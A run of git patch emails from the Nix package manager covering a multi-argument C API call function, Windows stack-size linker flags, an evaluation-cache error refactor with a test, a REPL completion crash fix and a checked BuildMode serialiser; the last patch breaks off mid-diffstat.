0657/1251] C API: Add nix_value_call_multi, NIX_VALUE_CALL _multi can be implemented more efficiently. NIX_VALUE_CALL is a convenient way to invoke it. --- src/libexpr-c/nix_api_expr.cc | 11 +++++++ src/libexpr-c/nix_api_expr.h | 41 +++++++++++++++++++++++++ tests/unit/libexpr/nix_api_expr.cc | 49 +++++++++++++++++++++++++++++- 3 files changed, 100 insertions(+), 1 deletion(-) diff --git a/src/libexpr-c/nix_api_expr.cc b/src/libexpr-c/nix_api_expr.cc index a29c3425e..b86d745db 100644 --- a/src/libexpr-c/nix_api_expr.cc +++ b/src/libexpr-c/nix_api_expr.cc @@ -65,6 +65,17 @@ nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, V NIXC_CATCH_ERRS } +nix_err nix_value_call_multi(nix_c_context * context, EvalState * state, Value * fn, size_t nargs, Value ** args, Value * value) +{ + if (context) + context->last_err_code = NIX_OK; + try { + state->state.callFunction(*(nix::Value *) fn, nargs, (nix::Value * *)args, *(nix::Value *) value, nix::noPos); + state->state.forceValue(*(nix::Value *) value, nix::noPos); + } + NIXC_CATCH_ERRS +} + nix_err nix_value_force(nix_c_context * context, EvalState * state, Value * value) { if (context) diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index 647b23569..b026ea70b 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -12,6 +12,7 @@ #include "nix_api_store.h" #include "nix_api_util.h" +#include #ifdef __cplusplus extern "C" { @@ -80,6 +81,46 @@ nix_err nix_expr_eval_from_string( */ nix_err nix_value_call(nix_c_context * context, EvalState * state, Value * fn, Value * arg, Value * value); +/** + * @brief Calls a Nix function with multiple arguments. + * + * Technically these are functions that return functions. It is common for Nix + * functions to be curried, so this function is useful for calling them. + * + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[in] fn The Nix function to call. + * @param[in] nargs The number of arguments. + * @param[in] args The arguments to pass to the function. + * @param[out] value The result of the function call. + * + * @see nix_value_call For the single argument primitive. + * @see NIX_VALUE_CALL For a macro that wraps this function for convenience. + */ +nix_err nix_value_call_multi( + nix_c_context * context, EvalState * state, Value * fn, size_t nargs, Value ** args, Value * value); + +/** + * @brief Calls a Nix function with multiple arguments. + * + * Technically these are functions that return functions. It is common for Nix + * functions to be curried, so this function is useful for calling them. + * + * @param[out] context Optional, stores error information + * @param[in] state The state of the evaluation. + * @param[out] value The result of the function call. + * @param[in] fn The Nix function to call. + * @param[in] args The arguments to pass to the function. + * + * @see nix_value_call_multi + */ +#define NIX_VALUE_CALL(context, state, value, fn, ...) \ + do { \ + Value * args_array[] = {__VA_ARGS__}; \ + size_t nargs = sizeof(args_array) / sizeof(args_array[0]); \ + nix_value_call_multi(context, state, fn, nargs, args_array, value); \ + } while (0) + /** * @brief Forces the evaluation of a Nix value. * diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index 17ba610e4..fd7d043c0 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -250,7 +250,7 @@ static void primop_repeat(void * user_data, nix_c_context * context, EvalState * nix_init_string(context, ret, result.c_str()); } -TEST_F(nix_api_expr_test, nix_expr_primop_arity_2) +TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_multiple_calls) { PrimOp * primop = nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA); @@ -285,6 +285,38 @@ TEST_F(nix_api_expr_test, nix_expr_primop_arity_2) ASSERT_STREQ("hellohellohello", r.c_str()); } +TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_single_call) +{ + PrimOp * primop = + nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA); + assert_ctx_ok(); + Value * primopValue = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_primop(ctx, primopValue, primop); + assert_ctx_ok(); + + Value * hello = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_string(ctx, hello, "hello"); + assert_ctx_ok(); + + Value * three = nix_alloc_value(ctx, state); + assert_ctx_ok(); + nix_init_int(ctx, three, 3); + assert_ctx_ok(); + + Value * result = nix_alloc_value(ctx, state); + assert_ctx_ok(); + NIX_VALUE_CALL(ctx, state, result, primopValue, hello, three); + assert_ctx_ok(); + + std::string r; + nix_get_string(ctx, result, OBSERVE_STRING(r)); + assert_ctx_ok(); + + ASSERT_STREQ("hellohellohello", r.c_str()); +} + static void primop_bad_no_return(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret) { @@ -357,4 +389,19 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_return_thunk) testing::HasSubstr("Implementation error in custom function: return value must not be a thunk"))); ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badReturnThunk"))); } + +TEST_F(nix_api_expr_test, nix_value_call_multi_no_args) +{ + Value * n = nix_alloc_value(ctx, state); + nix_init_int(ctx, n, 3); + assert_ctx_ok(); + + Value * r = nix_alloc_value(ctx, state); + nix_value_call_multi(ctx, state, n, 0, nullptr, r); + assert_ctx_ok(); + + auto rInt = nix_get_int(ctx, r); + assert_ctx_ok(); + ASSERT_EQ(3, rInt); +} } // namespace nixC From 97c346329151916727a3dd154e4d088b2e16fd2d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 23 May 2024 19:56:32 +0200 Subject: [PATCH 0658/1251] C API: Refactor: use NIX_VALUE_CALL --- tests/unit/libexpr/nix_api_expr.cc | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc index fd7d043c0..92a6a1175 100644 --- a/tests/unit/libexpr/nix_api_expr.cc +++ b/tests/unit/libexpr/nix_api_expr.cc @@ -373,14 +373,9 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_return_thunk) nix_init_int(ctx, four, 4); assert_ctx_ok(); - Value * partial = nix_alloc_value(ctx, state); - assert_ctx_ok(); - nix_value_call(ctx, state, primopValue, toString, partial); - assert_ctx_ok(); - Value * result = nix_alloc_value(ctx, state); assert_ctx_ok(); - nix_value_call(ctx, state, partial, four, result); + NIX_VALUE_CALL(ctx, state, result, primopValue, toString, four); ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR); ASSERT_THAT( From 0b7da099d112cf4bebc49844405ab5556c1a1ea4 Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Thu, 23 May 2024 03:55:25 -0700 Subject: [PATCH 0659/1251] Commit more stack size in some windows binaries This way we can commit the same amount of stack size (64 MB) without a conditional. Includes nix, libnixexpr-tests, libnixfetchers-tests, libnixstore-tests, libnixutil-tests. --- src/nix/local.mk | 5 +++++ src/nix/main.cc | 5 ----- tests/unit/libexpr/local.mk | 5 +++++ tests/unit/libfetchers/local.mk | 5 +++++ tests/unit/libstore/local.mk | 5 +++++ tests/unit/libutil/local.mk | 5 +++++ 6 files changed, 25 insertions(+), 5 deletions(-) diff --git a/src/nix/local.mk b/src/nix/local.mk index 305b0e9df..9883509fb 100644 --- a/src/nix/local.mk +++ b/src/nix/local.mk @@ -30,6 +30,11 @@ nix_LIBS = libexpr libmain libfetchers libstore libutil libcmd nix_LDFLAGS = $(THREAD_LDFLAGS) $(SODIUM_LIBS) $(EDITLINE_LIBS) $(BOOST_LDFLAGS) $(LOWDOWN_LIBS) +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + nix_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif + $(foreach name, \ nix-build nix-channel nix-collect-garbage nix-copy-closure nix-daemon nix-env nix-hash nix-instantiate nix-prefetch-url nix-shell nix-store, \ $(eval $(call install-symlink, nix, $(bindir)/$(name)))) diff --git a/src/nix/main.cc b/src/nix/main.cc index d3f3324ac..541d1a1b3 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -522,14 +522,9 @@ void mainWrapped(int argc, char * * argv) int main(int argc, char * * argv) { -#ifndef _WIN32 // Increase the default stack size for the evaluator and for // libstdc++'s std::regex. nix::setStackSize(64 * 1024 * 1024); -#else - // Windows' default stack reservation is 1 MB, going over will fail - nix::setStackSize(1 * 1024 * 1024); -#endif return nix::handleExceptions(argv[0], [&]() { nix::mainWrapped(argc, argv); diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk index c59191db4..09a7dfca1 100644 --- a/tests/unit/libexpr/local.mk +++ b/tests/unit/libexpr/local.mk @@ -38,3 +38,8 @@ libexpr-tests_LIBS = \ libexpr libexprc libfetchers libstore libstorec libutil libutilc libexpr-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libexpr-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/tests/unit/libfetchers/local.mk b/tests/unit/libfetchers/local.mk index e9f659fd7..d576d28f3 100644 --- a/tests/unit/libfetchers/local.mk +++ b/tests/unit/libfetchers/local.mk @@ -30,3 +30,8 @@ libfetchers-tests_LIBS = \ libfetchers libstore libutil libfetchers-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libfetchers-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/tests/unit/libstore/local.mk b/tests/unit/libstore/local.mk index b8f895fad..0af1d2622 100644 --- a/tests/unit/libstore/local.mk +++ b/tests/unit/libstore/local.mk @@ -31,3 +31,8 @@ libstore-tests_LIBS = \ libstore libstorec libutil libutilc libstore-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) + +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libstore-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif diff --git a/tests/unit/libutil/local.mk b/tests/unit/libutil/local.mk index 39b4c0782..b9bddc24d 100644 --- a/tests/unit/libutil/local.mk +++ b/tests/unit/libutil/local.mk @@ -27,6 +27,11 @@ libutil-tests_LIBS = libutil-test-support libutil libutilc libutil-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) +ifdef HOST_WINDOWS + # Increase the default reserved stack size to 65 MB so Nix doesn't run out of space + libutil-tests_LDFLAGS += -Wl,--stack,$(shell echo $$((65 * 1024 * 1024))) +endif + check: $(d)/data/git/check-data.sh.test $(eval $(call run-test,$(d)/data/git/check-data.sh)) From 8b86f415c1a8565085e70475933e459a29d67283 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 24 May 2024 16:16:38 +0200 Subject: [PATCH 0660/1251] Add test for the evaluation cache --- tests/functional/flakes/eval-cache.sh | 22 ++++++++++++++++++++++ tests/functional/local.mk | 1 + 2 files changed, 23 insertions(+) create mode 100644 tests/functional/flakes/eval-cache.sh diff --git a/tests/functional/flakes/eval-cache.sh b/tests/functional/flakes/eval-cache.sh new file mode 100644 index 000000000..90c7abd3c --- /dev/null +++ b/tests/functional/flakes/eval-cache.sh @@ -0,0 +1,22 @@ +source ./common.sh + +requireGit + +flake1Dir="$TEST_ROOT/eval-cache-flake" + +createGitRepo "$flake1Dir" "" + +cat >"$flake1Dir/flake.nix" <&1 | grepQuiet 'error: breaks' +expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks' diff --git a/tests/functional/local.mk b/tests/functional/local.mk index 18b920f7d..9c279b49b 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -16,6 +16,7 @@ nix_tests = \ flakes/build-paths.sh \ flakes/flake-in-submodule.sh \ flakes/prefetch.sh \ + flakes/eval-cache.sh \ gc.sh \ nix-collect-garbage-d.sh \ remote-store.sh \ From 2c88930ef298f6804eb9c064ca918aef01fcd2e3 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 19 Apr 2024 19:34:07 +0200 Subject: [PATCH 0661/1251] AttrCursor: Remove forceErrors Instead, force evaluation of the original value only if we need to show the exception to the user. --- src/libexpr/eval-cache.cc | 40 +++++++++++++++++++++++++++------------ src/libexpr/eval-cache.hh | 25 +++++++++++++++++++----- src/libexpr/eval-error.cc | 1 - src/libexpr/eval-error.hh | 1 - src/nix/main.cc | 11 ++++++++++- 5 files changed, 58 insertions(+), 20 deletions(-) diff --git a/src/libexpr/eval-cache.cc b/src/libexpr/eval-cache.cc index d60967a14..a4080819c 100644 --- a/src/libexpr/eval-cache.cc +++ b/src/libexpr/eval-cache.cc @@ -7,6 +7,25 @@ namespace nix::eval_cache { +CachedEvalError::CachedEvalError(ref cursor, Symbol attr) + : EvalError(cursor->root->state, "cached failure of attribute '%s'", cursor->getAttrPathStr(attr)) + , cursor(cursor), attr(attr) +{ } + +void CachedEvalError::force() +{ + auto & v = cursor->forceValue(); + + if (v.type() == nAttrs) { + auto a = v.attrs()->get(this->attr); + + state.forceValue(*a->value, a->pos); + } + + // Shouldn't happen. + throw EvalError(state, "evaluation of cached failed attribute '%s' unexpectedly succeeded", cursor->getAttrPathStr(attr)); +} + static const char * schema = R"sql( create table if not exists Attributes ( parent integer not null, @@ -470,7 +489,7 @@ Suggestions AttrCursor::getSuggestionsForAttr(Symbol name) return Suggestions::bestMatches(strAttrNames, root->state.symbols[name]); } -std::shared_ptr AttrCursor::maybeGetAttr(Symbol name, bool forceErrors) +std::shared_ptr AttrCursor::maybeGetAttr(Symbol name) { if (root->db) { if (!cachedValue) @@ -487,12 +506,9 @@ std::shared_ptr AttrCursor::maybeGetAttr(Symbol name, bool forceErro if (attr) { if (std::get_if(&attr->second)) return nullptr; - else if (std::get_if(&attr->second)) { - if (forceErrors) - debug("reevaluating failed cached attribute '%s'", getAttrPathStr(name)); - else - throw CachedEvalError(root->state, "cached failure of attribute '%s'", getAttrPathStr(name)); - } else + else if (std::get_if(&attr->second)) + throw CachedEvalError(ref(shared_from_this()), name); + else return std::make_shared(root, std::make_pair(shared_from_this(), name), nullptr, std::move(attr)); } @@ -537,9 +553,9 @@ std::shared_ptr AttrCursor::maybeGetAttr(std::string_view name) return maybeGetAttr(root->state.symbols.create(name)); } -ref AttrCursor::getAttr(Symbol name, bool forceErrors) +ref AttrCursor::getAttr(Symbol name) { - auto p = maybeGetAttr(name, forceErrors); + auto p = maybeGetAttr(name); if (!p) throw Error("attribute '%s' does not exist", getAttrPathStr(name)); return ref(p); @@ -550,11 +566,11 @@ ref AttrCursor::getAttr(std::string_view name) return getAttr(root->state.symbols.create(name)); } -OrSuggestions> AttrCursor::findAlongAttrPath(const std::vector & attrPath, bool force) +OrSuggestions> AttrCursor::findAlongAttrPath(const std::vector & attrPath) { auto res = shared_from_this(); for (auto & attr : attrPath) { - auto child = res->maybeGetAttr(attr, force); + auto child = res->maybeGetAttr(attr); if (!child) { auto suggestions = res->getSuggestionsForAttr(attr); return OrSuggestions>::failed(suggestions); @@ -751,7 +767,7 @@ bool AttrCursor::isDerivation() StorePath AttrCursor::forceDerivation() { - auto aDrvPath = getAttr(root->state.sDrvPath, true); + auto aDrvPath = getAttr(root->state.sDrvPath); auto drvPath = root->state.store->parseStorePath(aDrvPath->getString()); if (!root->state.store->isValidPath(drvPath) && !settings.readOnlyMode) { /* The eval cache contains 'drvPath', but the actual path has diff --git a/src/libexpr/eval-cache.hh b/src/libexpr/eval-cache.hh index 46c4999c8..cac985829 100644 --- a/src/libexpr/eval-cache.hh +++ b/src/libexpr/eval-cache.hh @@ -10,14 +10,28 @@ namespace nix::eval_cache { -MakeError(CachedEvalError, EvalError); - struct AttrDb; class AttrCursor; +struct CachedEvalError : EvalError +{ + const ref cursor; + const Symbol attr; + + CachedEvalError(ref cursor, Symbol attr); + + /** + * Evaluate this attribute, which should result in a regular + * `EvalError` exception being thrown. + */ + [[noreturn]] + void force(); +}; + class EvalCache : public std::enable_shared_from_this { friend class AttrCursor; + friend class CachedEvalError; std::shared_ptr db; EvalState & state; @@ -73,6 +87,7 @@ typedef std::variant< class AttrCursor : public std::enable_shared_from_this { friend class EvalCache; + friend class CachedEvalError; ref root; typedef std::optional, Symbol>> Parent; @@ -102,11 +117,11 @@ public: Suggestions getSuggestionsForAttr(Symbol name); - std::shared_ptr maybeGetAttr(Symbol name, bool forceErrors = false); + std::shared_ptr maybeGetAttr(Symbol name); std::shared_ptr maybeGetAttr(std::string_view name); - ref getAttr(Symbol name, bool forceErrors = false); + ref getAttr(Symbol name); ref getAttr(std::string_view name); @@ -114,7 +129,7 @@ public: * Get an attribute along a chain of attrsets. Note that this does * not auto-call functors or functions. */ - OrSuggestions> findAlongAttrPath(const std::vector & attrPath, bool force = false); + OrSuggestions> findAlongAttrPath(const std::vector & attrPath); std::string getString(); diff --git a/src/libexpr/eval-error.cc b/src/libexpr/eval-error.cc index 8db03610b..9e7f50093 100644 --- a/src/libexpr/eval-error.cc +++ b/src/libexpr/eval-error.cc @@ -99,7 +99,6 @@ template class EvalErrorBuilder; template class EvalErrorBuilder; template class EvalErrorBuilder; template class EvalErrorBuilder; -template class EvalErrorBuilder; template class EvalErrorBuilder; } diff --git a/src/libexpr/eval-error.hh b/src/libexpr/eval-error.hh index 7e0cbe982..27407eb6e 100644 --- a/src/libexpr/eval-error.hh +++ b/src/libexpr/eval-error.hh @@ -43,7 +43,6 @@ MakeError(Abort, EvalError); MakeError(TypeError, EvalError); MakeError(UndefinedVarError, EvalError); MakeError(MissingArgumentError, EvalError); -MakeError(CachedEvalError, EvalError); MakeError(InfiniteRecursionError, EvalError); struct InvalidPathError : public EvalError diff --git a/src/nix/main.cc b/src/nix/main.cc index bc13a4df5..f20042948 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -18,6 +18,7 @@ #include "terminal.hh" #include "users.hh" #include "network-proxy.hh" +#include "eval-cache.hh" #include #include @@ -515,7 +516,15 @@ void mainWrapped(int argc, char * * argv) if (args.command->second->forceImpureByDefault() && !evalSettings.pureEval.overridden) { evalSettings.pureEval = false; } - args.command->second->run(); + + try { + args.command->second->run(); + } catch (eval_cache::CachedEvalError & e) { + /* Evaluate the original attribute that resulted in this + cached error so that we can show the original error to the + user. */ + e.force(); + } } } From eeb4c408670a6037bd4085fde654bf4a5945c4c7 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 19 Apr 2024 19:42:05 +0200 Subject: [PATCH 0662/1251] Typo --- src/nix/flake.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 78a8a55c3..6bf694e08 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -1176,7 +1176,7 @@ struct CmdFlakeShow : FlakeCommand, MixJSON // If we don't recognize it, it's probably content return true; } catch (EvalError & e) { - // Some attrs may contain errors, eg. legacyPackages of + // Some attrs may contain errors, e.g. legacyPackages of // nixpkgs. We still want to recurse into it, instead of // skipping it at all. return true; From 2de4589e465f0ad7e78bed8fc15d065a99006be1 Mon Sep 17 00:00:00 2001 From: eldritch horrors Date: Wed, 22 May 2024 18:26:01 +0200 Subject: [PATCH 0663/1251] libstore: remove unused copyPath function MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Source: https://git.lix.systems/lix-project/lix/commit/47523944c5f13250dd0eb9d56d5c6621f4722bea Signed-off-by: Jörg Thalheim --- src/libutil/archive.cc | 9 --------- src/libutil/archive.hh | 2 -- 2 files changed, 11 deletions(-) diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc index 04f777d00..d20936de4 100644 --- a/src/libutil/archive.cc +++ b/src/libutil/archive.cc @@ -315,13 +315,4 @@ void copyNAR(Source & source, Sink & sink) } -void copyPath(const Path & from, const Path & to) -{ - auto source = sinkToSource([&](Sink & sink) { - dumpPath(from, sink); - }); - restorePath(to, *source); -} - - } diff --git a/src/libutil/archive.hh b/src/libutil/archive.hh index 28c63bb85..bd70072ce 100644 --- a/src/libutil/archive.hh +++ b/src/libutil/archive.hh @@ -82,8 +82,6 @@ void restorePath(const Path & path, Source & source); */ void copyNAR(Source & source, Sink & sink); -void copyPath(const Path & from, const Path & to); - inline constexpr std::string_view narVersionMagic1 = "nix-archive-1"; From f97da4b11c8d38f3bb002407076bf56acba8675b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Sat, 25 May 2024 23:06:56 +0200 Subject: [PATCH 0664/1251] libutil/source-accessor: custom error if source does not exist This allows better error handling by catching this error in particular. --- src/libutil/source-accessor.cc | 2 +- src/libutil/source-accessor.hh | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/src/libutil/source-accessor.cc b/src/libutil/source-accessor.cc index 66093d2cc..e797951c7 100644 --- a/src/libutil/source-accessor.cc +++ b/src/libutil/source-accessor.cc @@ -53,7 +53,7 @@ SourceAccessor::Stat SourceAccessor::lstat(const CanonPath & path) if (auto st = maybeLstat(path)) return *st; else - throw Error("path '%s' does not exist", showPath(path)); + throw FileNotFound("path '%s' does not exist", showPath(path)); } void SourceAccessor::setPathDisplay(std::string displayPrefix, std::string displaySuffix) diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh index d7fb0af5f..cc8db01f5 100644 --- a/src/libutil/source-accessor.hh +++ b/src/libutil/source-accessor.hh @@ -29,6 +29,8 @@ enum class SymlinkResolution { Full, }; +MakeError(FileNotFound, Error); + /** * A read-only filesystem abstraction. This is used by the Nix * evaluator and elsewhere for accessing sources in various From ffe6ba69d6a3a290e56a2891d05c91059f4b9e3a Mon Sep 17 00:00:00 2001 From: Pierre Bourdon Date: Thu, 23 May 2024 02:52:54 +0200 Subject: [PATCH 0665/1251] repl: do not crash when tab-completing import errors File not found while importing is not currently caught by the tab-completion handler. Original bug report: https://git.lix.systems/lix-project/lix/issues/340 Fix has been adapted from https://gerrit.lix.systems/c/lix/+/1189 Example crash: $ cat /tmp/foo.nix { someImport = import ./this_file_does_not_exist; } $ ./src/nix/nix repl --file /tmp/foo.nix warning: unknown experimental feature 'repl-flake' Nix 2.23.0pre20240517_dirty Type :? for help. Loading installable ''... Added 1 variables. nix-repl> someImport. --- src/libcmd/repl.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index a069dd52c..e5d3f6f15 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -304,6 +304,8 @@ StringSet NixRepl::completePrefix(const std::string & prefix) // Quietly ignore evaluation errors. } catch (BadURL & e) { // Quietly ignore BadURL flake-related errors. + } catch (FileNotFound & e) { + // Quietly ignore non-existent file beeing `import`-ed. } } From eeb89c28b026ed96baf2479491c071e527b92b58 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 27 May 2024 00:18:58 -0400 Subject: [PATCH 0666/1251] Worker proto use proper serialiser for `BuildMode` Do this instead of an unchecked cast I redid this to use the serialisation framework (including a unit test), but I am keeping the reference to credit Jade for spotting the issue. Change-Id: Icf6af7935e8f139bef36b40ad475e973aa48855c (adapted from commit 2a7a824d83dc5fb33326b8b89625685f283a743b) Co-Authored-By: Jade Lovelace --- src/libstore/daemon.cc | 6 ++-- src/libstore/store-api.hh | 2 +- src/libstore/worker-protocol.cc | 28 ++++++++++++++++++ src/libstore/worker-protocol.hh | 3 ++ .../data/worker-protocol/build-mode.bin | Bin 0 -> 24 bytes tests/unit/libstore/worker-protocol.cc | 11 +++++++ 6 files changed, 46 insertions(+), 4 deletions(-) create mode 100644 tests/unit/libstore/data/worker-protocol/build-mode.bin diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index 47d6d5541..eb6a4e690 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -531,7 +531,7 @@ static void performOp(TunnelLogger * logger, ref store, auto drvs = WorkerProto::Serialise::read(*store, rconn); BuildMode mode = bmNormal; if (GET_PROTOCOL_MINOR(clientVersion) >= 15) { - mode = (BuildMode) readInt(from); + mode = WorkerProto::Serialise::read(*store, rconn); /* Repairing is not atomic, so disallowed for "untrusted" clients. @@ -555,7 +555,7 @@ static void performOp(TunnelLogger * logger, ref store, case WorkerProto::Op::BuildPathsWithResults: { auto drvs = WorkerProto::Serialise::read(*store, rconn); BuildMode mode = bmNormal; - mode = (BuildMode) readInt(from); + mode = WorkerProto::Serialise::read(*store, rconn); /* Repairing is not atomic, so disallowed for "untrusted" clients. @@ -586,7 +586,7 @@ static void performOp(TunnelLogger * logger, ref store, * correctly. */ readDerivation(from, *store, drv, Derivation::nameFromPath(drvPath)); - BuildMode buildMode = (BuildMode) readInt(from); + auto buildMode = WorkerProto::Serialise::read(*store, rconn); logger->startWork(); auto drvType = drv.type(); diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh index 430d9a5ab..15712458c 100644 --- a/src/libstore/store-api.hh +++ b/src/libstore/store-api.hh @@ -92,7 +92,7 @@ enum SubstituteFlag : bool { NoSubstitute = false, Substitute = true }; const uint32_t exportMagic = 0x4558494e; -enum BuildMode { bmNormal, bmRepair, bmCheck }; +enum BuildMode : uint8_t { bmNormal, bmRepair, bmCheck }; enum TrustedFlag : bool { NotTrusted = false, Trusted = true }; struct BuildResult; diff --git a/src/libstore/worker-protocol.cc b/src/libstore/worker-protocol.cc index a50259d24..ed6367c38 100644 --- a/src/libstore/worker-protocol.cc +++ b/src/libstore/worker-protocol.cc @@ -14,6 +14,34 @@ namespace nix { /* protocol-specific definitions */ +BuildMode WorkerProto::Serialise::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) +{ + auto temp = readNum(conn.from); + switch (temp) { + case bmNormal: return bmNormal; + case bmRepair: return bmRepair; + case bmCheck: return bmCheck; + default: throw Error("Invalid build mode"); + } +} + +void WorkerProto::Serialise::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const BuildMode & buildMode) +{ + switch (buildMode) { + case bmNormal: + conn.to << uint8_t{bmNormal}; + break; + case bmRepair: + conn.to << uint8_t{bmRepair}; + break; + case bmCheck: + conn.to << uint8_t{bmCheck}; + break; + default: + assert(false); + }; +} + std::optional WorkerProto::Serialise>::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) { auto temp = readNum(conn.from); diff --git a/src/libstore/worker-protocol.hh b/src/libstore/worker-protocol.hh index 91d277b77..34607b7af 100644 --- a/src/libstore/worker-protocol.hh +++ b/src/libstore/worker-protocol.hh @@ -35,6 +35,7 @@ struct BuildResult; struct KeyedBuildResult; struct ValidPathInfo; struct UnkeyedValidPathInfo; +enum BuildMode : uint8_t; enum TrustedFlag : bool; @@ -215,6 +216,8 @@ DECLARE_WORKER_SERIALISER(ValidPathInfo); template<> DECLARE_WORKER_SERIALISER(UnkeyedValidPathInfo); template<> +DECLARE_WORKER_SERIALISER(BuildMode); +template<> DECLARE_WORKER_SERIALISER(std::optional); template<> DECLARE_WORKER_SERIALISER(std::optional); diff --git a/tests/unit/libstore/data/worker-protocol/build-mode.bin b/tests/unit/libstore/data/worker-protocol/build-mode.bin new file mode 100644 index 0000000000000000000000000000000000000000..51b239409bc815c19b00cb97f62996fb782f24c3 GIT binary patch literal 24 PcmZQzfB;4)%>< { + bmNormal, + bmRepair, + bmCheck, + })) + VERSIONED_CHARACTERIZATION_TEST( WorkerProtoTest, optionalTrustedFlag, From 8ebd99c74ee7e69be7cbe4b83f845ad51b0a8e61 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 27 May 2024 00:21:34 -0400 Subject: [PATCH 0667/1251] Back in enum values for `BuildMode` serializer We don't want to rely on how C assigns numbers for enums in the wire format. Sure, this is totally determined by the ABI, but it obscures the code and makes it harder to safely change the enum definition (should we need to) without accidentally breaking the wire format. --- src/libstore/worker-protocol.cc | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/src/libstore/worker-protocol.cc b/src/libstore/worker-protocol.cc index ed6367c38..4d397ed21 100644 --- a/src/libstore/worker-protocol.cc +++ b/src/libstore/worker-protocol.cc @@ -18,9 +18,9 @@ BuildMode WorkerProto::Serialise::read(const StoreDirConfig & store, { auto temp = readNum(conn.from); switch (temp) { - case bmNormal: return bmNormal; - case bmRepair: return bmRepair; - case bmCheck: return bmCheck; + case 0: return bmNormal; + case 1: return bmRepair; + case 2: return bmCheck; default: throw Error("Invalid build mode"); } } @@ -29,13 +29,13 @@ void WorkerProto::Serialise::write(const StoreDirConfig & store, Work { switch (buildMode) { case bmNormal: - conn.to << uint8_t{bmNormal}; + conn.to << uint8_t{0}; break; case bmRepair: - conn.to << uint8_t{bmRepair}; + conn.to << uint8_t{1}; break; case bmCheck: - conn.to << uint8_t{bmCheck}; + conn.to << uint8_t{2}; break; default: assert(false); From f71b4da0b3ed994f2bfc3764df6f524ebe72c4da Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 23 May 2024 16:40:05 -0400 Subject: [PATCH 0668/1251] Factor our connection code for worker proto like serve proto This increases test coverage, and gets the worker protocol ready to be used by Hydra. Why don't we just try to use the store interface in Hydra? Well, the problem is that the store interface works on connection pools, with each opreation getting potentially a different connection, but the way temp roots work requires that we keep one logical "transaction" (temp root session) using the same connection. The longer-term solution probably is making connections themselves implement the store interface, but that is something that builds on this, so I feel OK that this is not churn in the wrong direction. Fixes #9584 --- src/libstore/daemon.cc | 38 +-- src/libstore/legacy-ssh-store.cc | 52 ++-- src/libstore/remote-store-connection.hh | 82 +---- src/libstore/remote-store.cc | 214 